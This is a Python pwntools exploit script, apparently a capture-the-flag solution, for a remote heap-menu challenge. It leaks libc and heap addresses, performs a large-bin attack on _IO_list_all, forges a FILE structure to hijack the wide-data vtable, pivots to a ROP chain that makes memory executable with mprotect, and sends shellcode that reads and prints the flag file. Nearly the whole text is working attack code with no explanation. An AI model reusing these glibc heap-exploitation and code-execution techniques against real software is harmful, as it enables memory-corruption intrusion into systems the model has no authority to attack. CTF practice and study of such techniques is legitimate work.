from pwncli import *
context(log_level='debug',arch='amd64', os='linux') context.terminal = ["tmux", "splitw", "-h"] uu64 = lambda x: u64(x.ljust(8, b'\x00')) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr))
def pp64(*args): payload=b'' for i, arg in enumerate(args): payload+=p64(arg) return payload def dbg(): gdb.attach(p,'b* $rebase(0x189E)') def cmd(c): sla("choice: \n",str(c)) def add(idx,size,content='a'): cmd(1) sla("=>\n",str(idx)) sla("=>\n",str(size)) sa("=>\n",content) def delete(idx): cmd(2) sla("=>\n",str(idx)) def edit(idx,content): cmd(3) sla("=>\n",str(idx)) sa("=>\n",content) def show(idx): cmd(4) sla("=>\n",str(idx)) def exit1(): cmd(5)
p=remote("nc1.ctfplus.cn",22988) libc=ELF('./libc.so.6') sla("你确定要开始这场禁忌仪式吗?(Y/N)","Y") sla("请献上你的真名:","tgrddf55") add(0,0x450) add(1,0x438) add(2,0x440) add(3,0x430)
delete(0) add(4,0x460) show(0) ru("\x1B[36m[通灵开始] 你看到了零星的记忆碎片:\x1B[0m\n=>\n") libc_base=uu64(p.recv(6))-0x7ac6b35f6cc0+0x7ac6b3400000-0x400 p.recv(10) heap_base=uu64(p.recv(6))-0x290 environ=libc_base+libc.sym['__environ'] io_list_all=libc_base+libc.sym["_IO_list_all"] leak("libc:",libc_base) leak("heap:",heap_base) target=io_list_all-0x20 largebin=libc_base+0x7ac6b35f6cc0-0x7ac6b3400000+0x400 edit(0,pp64(largebin,largebin,heap_base+0x290,target)) delete(2) add(5,0x460)
''' .text:00000000001630AA 48 8B 6F 48 mov rbp, [rdi+48h] .text:00000000001630AE 48 8B 45 18 mov rax, [rbp+18h] .text:00000000001630B2 4C 8D 6D 10 lea r13, [rbp+10h] .text:00000000001630B6 C7 45 10 00 00 00 00 mov dword ptr [rbp+10h], 0 .text:00000000001630BD 4C 89 EF mov rdi, r13 .text:00000000001630C0 FF 50 28 call qword ptr [rax+28h] ''' gadget1=libc_base+0x1630AA leave_ret=libc_base+0x50877 add_esp_18=libc_base+0x33fb9 f=IO_FILE_plus_struct() _IO_wfile_jumps=libc.symbols["_IO_wfile_jumps"]+libc_base f.vtable=_IO_wfile_jumps heap_2=heap_base+0xb30 heap_3=heap_base+0xf80 heap_4=heap_base+0x13c0 rbp=heap_4+0x100 f._mode=0 f._wide_data=heap_2 f._IO_read_base=0 f._IO_write_end=0 f._IO_write_ptr=1 f._IO_save_base=rbp f._lock=io_list_all wide_vtable_addr=(heap_2+0xd8+8+8)-0x68
f=bytes(f)[16:] f+=p64(wide_vtable_addr)
f+=p64(gadget1) edit(2,f)
mprotect=libc_base+libc.sym['mprotect'] read=libc_base+libc.sym['read'] addr_mpro=libc_base+0x199000 pop_rdi=libc_base+0x23b65 pop_rsi=libc_base+0x251be pop_rdx=libc_base+0x166262 rop_chain=pp64(pop_rdi,addr_mpro,pop_rsi,0x1000,pop_rdx,7,mprotect) rop_chain+=pp64(pop_rdi,0,pop_rsi,addr_mpro+0x200,pop_rdx,0x200,read,addr_mpro+0x200)
edit(4,b'a'*0xf8+pp64(add_esp_18,0,rbp-0x8,leave_ret)+rop_chain)
shellcode='' shellcode+=shellcraft.open('./flag',0,0) shellcode+=shellcraft.read('rax',addr_mpro+0x300,0x100) shellcode+=shellcraft.write(1,addr_mpro+0x300,'rax') shellcode=asm(shellcode)
exit1() sl(shellcode) ti()
|